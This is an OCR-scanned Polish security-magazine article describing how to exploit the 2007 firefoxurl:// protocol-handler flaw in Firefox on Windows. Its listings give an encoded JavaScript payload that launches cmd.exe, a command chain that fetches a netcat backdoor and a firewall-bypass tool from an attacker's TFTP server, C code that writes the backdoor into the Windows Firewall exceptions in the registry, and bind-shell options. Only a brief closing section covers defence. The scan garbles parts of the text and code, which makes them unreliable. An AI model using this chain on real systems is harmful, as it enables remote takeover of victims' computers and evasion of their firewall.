Atak

Niebezpieczny Firefox

Konrad Zuwata

stopien trudnosci

rzegladarka Mozilli liczy sobie juz tadnych
P pare lat. Swojg nazwe, Firefox, uzyskata

w lutym 2004. Zjednywata sobie coraz
wigksze rzesze uzytkownikéw, by teraz stac sie
de facto drugg — po Internet Explorerze — prze-
gladarka na rynku. Jednak 10 lipca 2007 roku od-
kryta zostata luka, ktéra umozliwia uruchomie-
nie dowolnego programu w systemie Windows
w kontekscie Mozilli Firefox, z prawami uzytkow-
nika aktualnie korzystajacego z przegladarki.

Krétko o Firefoksie,

czyli przeglad biedow

Mozilla Firefox — mimo, iz zyskata sobie po-
wszechng opinie niezwykle bezpiecznego na-
rzedzia nie ustrzegta sie btedéw, ktérych konse-
kwencja byty czesto powazne luki w zabezpie-
czeniach. Oczywiscie nie ma w tym nic nadzwy-
czajnego, albowiem oprogramowanie ma to do
siebie, ze tworzg je ludzie, a ci nie sg nieomyl-
ni. Co ciekawe, nie wszystkie dziury zostaty za-
tatane (na stronie secunia.com 6 z 14 ma status
Unpatched). Co psuto sie w tej przegladarce?
Nie radzita sobie ona z obstugg modelu DOM,
co byto przyczyng btedu umozliwiajacego omi-
niecie zabezpieczen i zmiane danych wyswie-
tlanych w przegladarce. Silnik JavaScript umoz-
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4 Przegladarka Mozilli zyskuje sobie coraz wieksza popularnosé¢.
Wielu uzytkownikéw wybrato jg ze wzgledu na bezpieczenstwo,
ktore oferuje, wydajny silnik Gecko czy kilka udoskonalen, ktére
juz na state zagoscily w przegladarkach. Czy jednak Firefox jest
tak bezpieczny, za jakiego jest uwazany?

liwiat uszkodzenie pamieci, co w potgczeniu
z technikg przepetnienia bufora sprawiato, ze
potencjalny intruz miat mozliwo$é uruchomie-
nia wiasnego kodu na komputerze ofiary. Tak-
ze protokoty tworzone przez Firefoksa byty przy-
czyng wielu krytycznych luk zwigzanych z bez-
pieczenstwem. | wtasnie jeden z nich powoduje
ostatnig luke — firefoxurl://.

-
Z artykutu dowiesz sie

jak skompromitowac system uzytkownika

z przegladarka Mozilla Firefox, dziatajacy

w $rodowisku Windows,

jak zabezpieczy¢ sie przed tego typu atakiem.

Co powinienes wiedzieé¢

zna¢ podstawy JavaScriptu,
umiec¢ pisa¢ aplikacje sieciowe w srodowisku
Windows,
* znac¢ podstawy WinAPI,
umie¢ administrowaé systemami Windows
z wykorzystaniem wiersza polecen.




Niebezpieczny Firefox

FirefoxURL
Mozilla Firefox korzysta z silnika Gec-
ko. Silnik ten, oprocz przetwarzania
stron internetowych, spetnia tez in-
ne istotne zadanie — zarzadza inter-
fejsem uzytkownika przegladarki. Do
tego celu przeznaczony jest odrebny
protokot Mozilli — firefoxurl://. Uchwyt
do tego protokotu jest rejestrowany
w rejestrze systemu Windows, tak,
jak jest to pokazane na Listingu 1.
Zatem, gdy wykonamy polecenie w
rodzaju: firefoxurl://xxx, przegladarka
zostanie wywotana w wierszu polecen:
C:\Program Files\Mozilla\Firefox.exe
-url ,xxx” -requestPending. B%adten
wystepuje jedynie w Firefoksie w sys-
temie Windows, a wersja przegladar-
ki, w ktérej go odkryto, to 2.0.0.4. Dla-
czego tylko Windows? Otz do wyko-
nania ztosliwego kodu konieczna jest
obecnos¢ przegladarki Internet Explo-
rer, albowiem nie dokonuje ona spraw-
dzenia wpisywanego tancucha pod
katem obecnosci znakéw specjalnych
(& itp.), przez co mozliwe jest wysta-
nie tak skonstruowanego zadania. Na
systemach uniksowych nie mamy In-
ternet Explorera, nie mamy tez moz-
liwosci wywotania protokotu Firefoksa
z jakiejkolwiek innej aplikacji, co sku-
tecznie blokuje nam mozliwos¢ dziata-
nia. Mozilla obecna na Linuksie nie be-
dzie wiec obiektem naszego ataku.
Opisywana luka pozwala na
uruchomienie dowolnego programu
w kontek$cie np. Chrome, ktéry jest
odpowiedzialny za wyglad przegla-
darki. Intruz moze wiec uruchomié
za pomoca specjalnie spreparowa-
nej strony dowolny program na kom-
puterze ofiary, np. cnd.exe, czyli po-

wioke systemu Windows. Moze tez
wykonac caty cigg komend korzysta-
jac ze znakéw ss oznaczajgcych wy-
konanie nastepnego polecenia, gdy
poprzednie zakonczy sie sukcesem.
Tak wiec cigg polecen w rodzaju: uru-
chom powtoke «s pobierz sackdoor ss
OMIA FirewallWindows && Uruchom
Backdoor POzWOIi intruzowi uzyskaé
zdalny dostep do komputera ofiary,
omijajac przy tym firewall systemu
Windows. Przyktadowy backdoor mo-
ze otwiera¢ powioke (cmd.exe) na
porcie wybranym przez intruza i ocze-
kiwaé na jego potaczenie...

Preparujemy
odpowiednig strone
Pierwszym krokiem, jaki nalezy wy-
kona¢, jest spreparowanie odpo-
wiedniej strony i namoéwienie ofiary,
aby weszta na nig uzywajac przegla-
darki Internet Explorer. Tak, Internet
Explorer, albowiem gdy napotka on
odniesienie firefoxurl://, wywota Mo-
zille Firefox w odpowiednim kontek-
Scie, uruchamiajgc przy okazji pro-
gram cmd.exe na komputerze ofiary
i jednoczesnie pomijajac sprawdze-
nie zadania pod katem wystepowa-
nia znakow specjalnych. Zastanéwmy
sie najpierw, jakie dziatania powin-
na podja¢ nasza strona po uzyska-
niu dostepu do powtoki. Z pewnoscig
powinna w jaki$ sposéb przetransfe-
rowaé przygotowany przez nas back-
door na dysk ofiary, nastepnie aplika-
cja ta powinna zosta¢ uruchomiona.
No i nie zapominajmy o ominieciu fire-
walla systemu Windows — blokuje on
domysinie potaczenia przychodzag-
ce na komputer ofiary, tak wiec po-

winnismy dodac¢ aplikacje backdoora
do listy wyjatkéw zapory. Jesli bardzo
chcemy, mozliwe jest nawet dodanie
naszej aplikacji do listy ustug (servi-
ces) —tak, aby uruchamiata sie razem
z systemem operacyjnym.

Powstajg przy tym dwa proble-
my: jak przemycié¢ tak skomplikowa-
ne zapytanie oraz w jaki sposoéb $cia-
gna¢ pliki na komputer uzytkownika.
Ale po kolei.

Nasze dziatania musimy rozpo-
cza¢ od przygotowania kodu Java-
Script, ktéry pozwoli nam spreparo-
wac odpowiednig strone internetowa,
zawierajgcg nasz exploit. Co powinna
zawiera¢ taka strona? Otéz sam kod
nie jest skomplikowany: jedyne co na-
lezy zrobi¢, to wywotaé z poziomu
JavaScriptu firefoxurl W kontekscie
jakiegos rozszerzenia Firefoksa — np.
Chrome, na ktérym skupimy sie w na-
szym exploicie.

Jak wida¢ na Listingu 2. wywotu-
jemy protokot Firefoksa, firefoxurl://,
nastepnie inicjujemy proces potomny,
ktérego zadaniem jest wywotanie pro-
gramu cmd.exe. Kod JavaScript korzy-
sta z wewnetrznego interfejsu Mozil-
li Firefox, z interfejsu proceséw Mozil-
li (wiecej na ten temat w ramce W Sie-
ci). Co oznaczajg te wszystkie cyfry
w kodzie poprzedzone znakiem %7 Otéz
jest to Unicode — kodujemy znaki spe-
cjalne w ten sposéb, aby odrézniaty
sie nieco od kodu JavaScript (tam tez
mamy cudzystéw, apostrof, itp., wiec
stosowanie tych znakéw mogtoby do-
prowadzi¢ do opacznej interpretacji
skryptu przez przegladarke. Dodat-
kowo zabezpiecza nas to przed kon-
trolg wpisywanego tekstu, albowiem

Listing 1. Klucz protokotu Firefoxa w rejestrze Windows.

[HKEY CLASSES ROOT\FirefoxURL\shell\open\command\@]C:\PROGRA~1\MOZILL~2\FIREFOX.EXE -url “%1" -requestPending

firefoxurl:test%22%20-chrome%20%

Listing 2. Kod przyktadowego exploita, wywotujgcego program cmd.exe na komputerze uzytkownika

22javascript:C=Components.classes; I=Components.interfaces;file=C%5B%
27@mozilla.org/file/local;1%27%5D.createInstance%28I.nsILocalFile%29;file.initWithPath%28%
27C:%27+String. fromCharCode%2892%29+String. fromCharCode%2892%29+%27Windows%
27+String.fromCharCode%2892%29+String. fromCharCode%$2892%29+%27System32%
27+String.fromCharCode%2892%29+String. fromCharCode%2892%29+%27cmd.exe%27%
29;process=C%5B%27@mozilla.org/process/util;1%27%5D.createlnstance%28I.nsIProcess$%
29;process.init%28file%29;process.run%28true%252c%7B%7D%252c0%29;
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w niektorych sytuacjach kod moze zo-
stac¢ rozpoznany jako ztosliwy, co za-
pobiegnie jego wykonaniu). Aby przy-
gotowac odpowiedni kod, nalezy naj-
pierw doktadnie przemysle¢ dziatanie
exploita. W pierwszej kolejnosci wi-
nien on uruchomi¢ powtoke, nastep-
nie za pomocg protokotu tftp pobrac
aplikacje backdoora i program mo-
dyfikujacy rejestr (dodanie do wyjat-
kow firewalla Windows), po czym ko-
nieczne jest uruchomienie obu apli-
kacji. Dlaczego wybor w kwestii prze-
sytania plikéw padt na protokét tftp?
Otéz jest on niezwykle prostym, ba-
zujacym na UDP protokotem. Obstuga
programu tftp.exe jest bardzo intuicyj-
na, dzieki czemu maksymalnie skroci-
my diugos¢ naszego zapytania. Na Li-
stingu 3. widac finalng wersje wywota-
nia cmd.exe.

Jak wida¢ z Listingu 3. musimy
by¢ posiadaczami serwera tftp — wy-
starczy s$ciggna¢ darmowy tftp-se-
rver dla systemu Windows badz za-
instalowa¢ odpowiednig aplikacje do-
stepng dla Linuksa. Mamy zatem go-
towy plan dziatania, jednak najpierw
musimy przygotowa¢ odpowiednie
programy — modifyReg.exe, dodajacy
backdoor do listy wyjatkéw zapory
Windows oraz win32srv.exe — wiasci-
wa aplikacje odpowiadajgcq za nasz
dostep do komputera ofiary.

Omijamy firewall
Windows

Abysmy mieli mozliwo$¢ zdalnego
potaczenia z komputerem, na ktérym
zainstalujemy nasz backdoor, musi-
my najpierw oming¢ firewall — w prze-
ciwnym wypadku wszelkie przychodza-
ce potaczenia zostang zablokowane.
Rozpocznijmy od zrozumienia obstugi
tegoz firewalla. Zapora systemu Win-
dows standardowo blokuje wszystkie

potaczenia przychodzace (nie kontro-
luje ona ruchu wychodzacego). Aby
program sieciowy maogt dziata¢, mo-
zemy go dodac¢ do tzw. listy wyjatkéw
— czyli zestawienia programoéw, kto-
re nie sg przez zapore kontrolowane
i moga przyjmowac dowolne potacze-
nia na wybranych portach. W jaki jed-
nak sposéb sprawi¢, aby nasza apli-
kacja znalazta sie na liscie wyjatkow?
Z pomocg przychodzi nam rejestr
Windows, gdzie zapisane sg wszyst-
kie informacje o konfiguracji kompute-
ra, w tym réwniez o zaporze.

Lista wyjatkdw zapory jest w rze-
czywistosci kluczem rejestru, Sciezka
dostepu do autoryzowanych aplikaciji
jest pokazana na Listingu 4.

Po otwarciu tego klucza ujrzymy
wszystkie programy, ktére znajdu-
ja sie w wyjatkach zapory. Naszym
celem jest wiec umieszczenie nowej
wartosci, typu REG_SZ, ktdrej nazwa
bedzie odpowiadata sciezce dostepu
do backdoora (czyli C:\WINDOWS\
system32\win32srv.exe), a warto$¢
pokryje sie z nazwag z jednym tyl-
ko wyjatkiem — znajdzie sie tam sto-
wo enabled. To wszystko bedzie za-
daniem aplikacji modifyReg.exe — za
pomocg funkcji winarr zmieni ona re-
jestr systemu. Postuzy nam do tego
funkcja RegistryCreateKeyEx.

Zeby przekonaé sie o skuteczno-
$ci programu, mozna za pomocg pro-
gramu regedit odnalez¢ odpowiedni
klucz lub po prostu wybraé¢ menu Za-
pory z Panelu Sterowania i sprawdzi¢
liste wyjatkéw. Program win32srv.exe
jest poza kontrola. Oczywiscie, uwaz-
ny administrator dostrzeze nieznang
aplikacje na liscie wyjatkéw, co w po-
taczeniu z pewna wiedzg o zarzadza-
nym systemie doprowadzi do usunie-
cia naszego backdoora. Jednak wiek-
s$z0$¢ uzytkownikow po ujrzeniu cze-

gos w rodzaju win32srv.exe, czegos
co wyglada na wazny plik systemo-
wy, postanowi w imie Swietego spo-
koju zostawic ten program.

Co jednak zrobi¢ w sytuacji, gdy
uzytkownik uzywa innej aplikacji niz
wbudowany w jadro systemu Windows
firewall? Przeciez na rynku az roi sie od
tego typu rozwigzan. Moze to znaczg-
co utrudni¢ nasz atak, ale tylko w cze-
Sci przypadkéw. Otoz niektére zapory
korzystajg rowniez z listy wyjatkéw fi-
rewalla Windows, dopuszczajac ruch
sieciowy dla programéw, ktére dodane
sg jako wyjatki tejze aplikacji. Oczywi-
Scie dotyczy to tylko pewnej grupy roz-
wigzan, znaczna czes$¢ programéw
filtrujgacych pakiety uzywa tylko i wy-
tacznie wtasnych baz danych, co blo-
kuje mozliwos¢ ich prostego ominie-
cia. Jednak z pomoca przychodzi nam
znow WinAP| —mozna po prostu ,,pod-
czepi¢” sie pod proces aplikacji, ktéra
ma mozliwos¢ korzystania z Internetu.
Autor nie bedzie sie na ten temat rozpi-
sywac, albowiem doskonale wyjasnia
te kwestie artykut z hakin9 nr 3/2005,
zatytutowany Omijanie firewalli osobi-
stych w Windows. Nawet najlepszy fi-
rewall nie moze stang¢ nam na prze-
szkodzie.

Backdoor
Ostatnim krokiem potrzebnym do po-
wodzenia operacji jest skonstruowa-
nie aplikacji backdoora. Powinien on
otwiera¢ powioke (cmd.exe) na wy-
branym przez nas porcie i w razie na-
dejscia potaczenia przekierowywaé
standardowe wejscie, wyjscie i stru-
mien btedéw do stworzonego gniaz-
da — tak, abysmy otrzymali co$ w ro-
dzaju sesji telnetu. Tyle, ze bez po-
trzeby znajomosci hasta.

Mozna w tym miejscu pokusic sie
0 napisanie samemu takiego progra-

Listing 3. Finalne wywotanie programu cmd.exe.

cmd.exe ,cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp

-1 GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe”

Listing 4. Dostep do autoryzowanych aplikacji zapory Windows poprzez rejestr.

HKEY LOCAL MACHINESYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\
AuthorizedApplications\List.
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mu, jednak z pomocg przychodzi nam
znany program netcat. Potrafi on na-
stuchiwa¢ potaczenia przychodzace-
go na zadanym porcie, by nastepnie
przekierowa¢ wyijscie, wejscie oraz
strumien btedéw dowolnego pro-
gramu (w naszym wypadku jest to
cmd.exe). Dodatkowo zastosowanie
netcata — jako sprawdzonego narze-
dzia — pozwoli nam unikng¢ wszel-
kich niespodziewanych problemow
implementacyjnych. Tak wiec $cigga-
my netcata dla Windows NT, zmienia-
my jego nazwe na win32srv.exe, a na-
stepnie umieszczamy na naszym ser-
werze ftp. Musimy nieco zmodyfiko-
wac nasze finalne wywotanie — mia-
nowicie programowi win32srv.exe po-
dac trzeba w wierszu polecen pew-
ne argumenty: przede wszystkim nu-
mer portu, na ktérym ma nastuchiwac¢
oraz aplikacje, ktérg winien do niego
przekierowac.

Przeanalizujmy Listing 6. urucha-
miamy netcat na porcie 1234. Opcja
-l méwi mu, ze ma oczekiwac na po-
taczenia, -e cmd.exe Oznacza prze-
kierowanie cmd.exe na port 1234,
a -1 kaze mu w razie przerwania sesji
oczekiwac¢ na nastepne potgczenia.

Mamy gotowa aplikacje backdo-
ora, program omijajacy firewall oraz
koncepcje spreparowania strony. Na-
lezy wiec sklei¢ to wszystko razem.

taczymy elementy
uktadanki
Na poczatku utwoérzmy finalng wer-
sje strony. Znaki specjalne (cudzysto-
wy, apostrofy, angielskie &) powinny by¢
zakodowane Unicode’'m —tak, aby omi-
naé zabezpieczenia zwigzane z par-
sowaniem tego typu wyrazen.

Kod zawarty na Listingu 7. jest tym,
ktéry umieszczamy na stronie. Moz-
na go wklei¢ do sekcji <vody onload=

"naszKod”> mozna tez utworzy¢ np.
przycisk, ktéry po kliknieciu go wy-
wota nasz spreparowany skrypt. War-
to zwrdci¢ uwage na kodowanie cu-
dzystowow przy wywotaniu cmd.exe.
Uzywamy konstrukgji \' (czyli w Unico-
de %5C%22). W zaleznosci od wer-
sji JavaScript (czyli od wersji prze-
gladarki) konstrukcja ta moze zadzia-
fa¢ lub nie — w niektérych przypad-
kach znak \ jest niezbedny, nieraz zas
moze okazac¢ sie nadmiarowy. Nalezy
zatem sprawdzi¢ obydwie mozliwosci.
W przypadku, gdy Unicode nas nie ra-
tuje, mozna takze postuzy¢ sie Java-
Scriptowym String.fromCharCode ().

Po spreparowaniu strony musimy
oczywiscie umiesci¢ na naszym ser-
werze tftp odpowiednie pliki oraz za-
rejestrowac IP ofiary (mozna je spra-
wdzi¢ np. w logach serwera Apache
lub za pomocg prostego kodu PHP).
Po wykonaniu wszystkich krokow

e N
Listing 5. Kod programu modifyReg
#include <windows.h>
#include <string.h>
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
LONG registryOperationStatus;
HKEY backdoorKeyHandle;
//Opis funkcji: http://msdn2.microsoft.com/en-us/library/ms724844.aspx
#define BACKDOOR KEY "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\
StandardProfile\\AuthorizedApplications\\List"
RegCreateKeyEx (HKEY LOCAL_MACHINE,
BACKDOOR_KEY,
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY WRITE,
NULL,
&backdoorKeyHandle,
NULL) ;
// istryOperatio aus!=ERROR_SU SS)
// exit(0);
RegSetValueEx (backdoorKeyHandle,
"C:\\WINDOWS\\system32\\win32srv.exe",
0,
REG SZ,
"C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled",
strlen ("C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled"
)i
return 0;
J
~
Listing 6. Program netcat (win32srv.exe) wraz z odpowiednimi opcjami
cmd.exe ,cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe -1 -pl234 -d -e cmd.exe -L ”
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oraz potaczeniu sie z ofiarg na porcie
1234 powinnismy ujrze¢ znak zache-
ty Windows: C:>.

Analiza zdarzenia — jak
sie zabezpieczyc¢?

Nasz atak udat sie z kilku powodow.
Przede wszystkim furtkg do naszego
komputera okazata sie luka w prze-
gladarce. Jednak nawet mimo istnie-
nia tego btedu jesteSmy w stanie za-
bezpieczy¢ sie przed podobnymi ata-
kami. | nie powiem w tym miejscu nic
rewolucyjnego, albowiem metoda jest
niezwykle prosta i chroni przed wiek-
szoscig prob modyfikacji rejestru i pli-
kéw systemowych. Otéz wystarczy ko-
rzysta¢ z konta uzytkownika z ograni-
czeniami oraz systemu plikow NTFS.
W przypadku, gdy intruz uzyska na-
sze uprawnienia podczas gdy korzy-
stamy z konta administratora, moze
on do woli modyfikowaé rejestr i pliki
systemowe, dzieki czemu jest w stanie
oming¢ zapore Windows. Jednak gdy
nasze konto jest ograniczone, nie be-
dzie moégt zainstalowaé oprogramowa-
nia typu backdoor, albowiem zablokuje
go firewall. Nie zmienia to faktu, iz po-
tencjalny intruz moze wykona¢ szko-
dliwe operacje w kontekscie naszego
uzytkownika, takie jak skasowanie pli-
kéw z katalogu domowego. Na to jest
tylko jedna rada — nie mozna wchodzi¢
na nieznane, podejrzane strony, ktére
czesto sg nam przysytane przez ko-
munikatory czy poczte -elektronicz-

e
W Sieci

exploita

ateKeyEx

N

*  http://larholm.com/2007/07/10/internet-explorer-Oday-exploit/ — proof of concept
*  http://msdn2.microsoft.com/en-us/library/ms724844.aspx — opis funkcji RegCre-
*  http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/

en-us/tftp.mspx?mfr=true — opis polecenia tftp dla systemu Windows XP
*  http://www.vulnwatch.org/netcat/ — netcat dla Windows

na. Pozostaje mie¢ nadzieje, ze wy-
soka swiadomos¢ zagrozen interne-
towych uchroni Czytelnika przed tego
typu atakami.

Uzywa¢ czy tez nie, oto
jest pytanie

Po zobaczeniu, jak prostym jest de
facto przejecie kontroli nad kompu-
terem uzytkownika Mozilli Firefox w
systemie Windows, nasuwa sie py-
tanie, czy uzywanie Mozilli jest do-
brym pomystem? Przeciez przegla-
darka ta nie jest tak bezpieczna, jak-
by sie mogto wydawac przecietne-
mu uzytkownikowi komputera, kto-
ry wiedze czerpie gtéwnie od zna-
jomych lub z mato specjalistycznych
portali. Bardziej Swiadomy internau-
ta predzej czy pdzniej postawi so-
bie pytanie dotyczace bytu Firefok-
sa na jego komputerze. Oczywiscie
jesli uzywamy systemu Linux, pro-
blem dla nas nie istnieje. Jednak kie-
dy z jakichs powodéw musimy uzy-

WithPath%28%

cd

tftp

win32srv.exe %

rocess%

Listing 7. Kod JavaScript, ktéry nalezy umiescic w finalnej wersji strony
ﬁrefOXUrkteSt96229620-Chr0n1896209622javascript:C=Components.cla

sses;I=Components.interfaces;file=C%5B%

27@mozilla.org/file/local;1%27%5D.createInstance%$28I.nsILocalFile%29;file.init
27C:%27+String. fromCharCode%2892%29+String. fromCharCode%2892%29+%27Windows%
27+String.fromCharCode%2892%29+String. fromCharCode%2892%29+%27System32%
27+String.fromCharCode%2892%29+String. fromCharCode%2892%29+%27cmd.exe%5C%22
c:+String.fromCharCode%$2892%29+String.fromCharCode%2892%

29WINDOWS+String. fromCharCode%2892%29+String. fromCharCode%$2892%
29system32+String. fromCharCode%2892%29+String. fromCharCode%2892%29 %26%26

-i GET ourTftpServer.com/modifyReg.exe %$26%26 tftp -i GET ourTftpServer.com/

26%26 modifyReg.exe %$26%26 win32srv.exe -1 -pl234 -L -d -e cmd.exe%5C%22 27%

29;process=C%5B%27@mozilla.org/process/util; 1$27%5D.createInstance%28I.nsIP

29;process.init%28file%29;process.run%28true%252c%$7B%7D%252c0%29;

wac¢ Windows lub po prostu lubi-
my ten system, dobdr przegladar-
ki wydaje sie by¢ w dobie wszech-
obecnego Internetu kwestig kluczo-
wa. Czy warto rezygnowa¢ z Mozilli?
Moim skromnym zdaniem, zdecydo-
wanie nie. Na uwage zastuguje fakt,
ze mimo, iz wykrywane sa w niej lu-
ki zwigzane z bezpieczenstwem, sg
one réwnie szybko naprawiane po-
przez opublikowanie kolejnej wersji
(opisywana podatno$¢ zostata usu-
nieta w wersji 2.0.0.5). JestesSmy
wiec narazeni na atak przez relatyw-
nie krétki okres czasu. Poza tym, gdy
korzystamy z Internetu w petni swia-
domi zagrozen, stosujemy sie do re-
gut bezpieczehstwa — wtedy nie ma-
my sie czego obawiac. Cieszmy sie
wiec dobrem Internetu, surfujac po
jego stronach niczym innym, jak Mo-
zillg Firefox.

Podsumowanie

Opisywana podatnos¢ pozwala na
uruchomienie praktycznie dowolne-
go kodu na komputerze uzytkowni-
ka, co, jak zostato pokazane w arty-
kule, moze mie¢ przykre konsekwen-
cje. Pozostaje tylko mie¢ nadzieje,
ze Czytelnik bedzie szerokim tukiem
omijat strony internetowe, ktére ktos
nieznajomy podestat mu drogg elek-
troniczna. Kto wie, co czai sie po dru-
giej stronie. ®

p
O autorze

Autor zajmuje sie bezpieczenstwem
aplikacji internetowych oraz szeroko
rozumiang ochrong systemoéw kompu-
terowych. W wolnych chwilach progra-
muje (gtéwnie C/C++, PHP) oraz za-
rzadza portalem internetowym. Kontakt
z autorem: kzuwala@poczta.onet.pl
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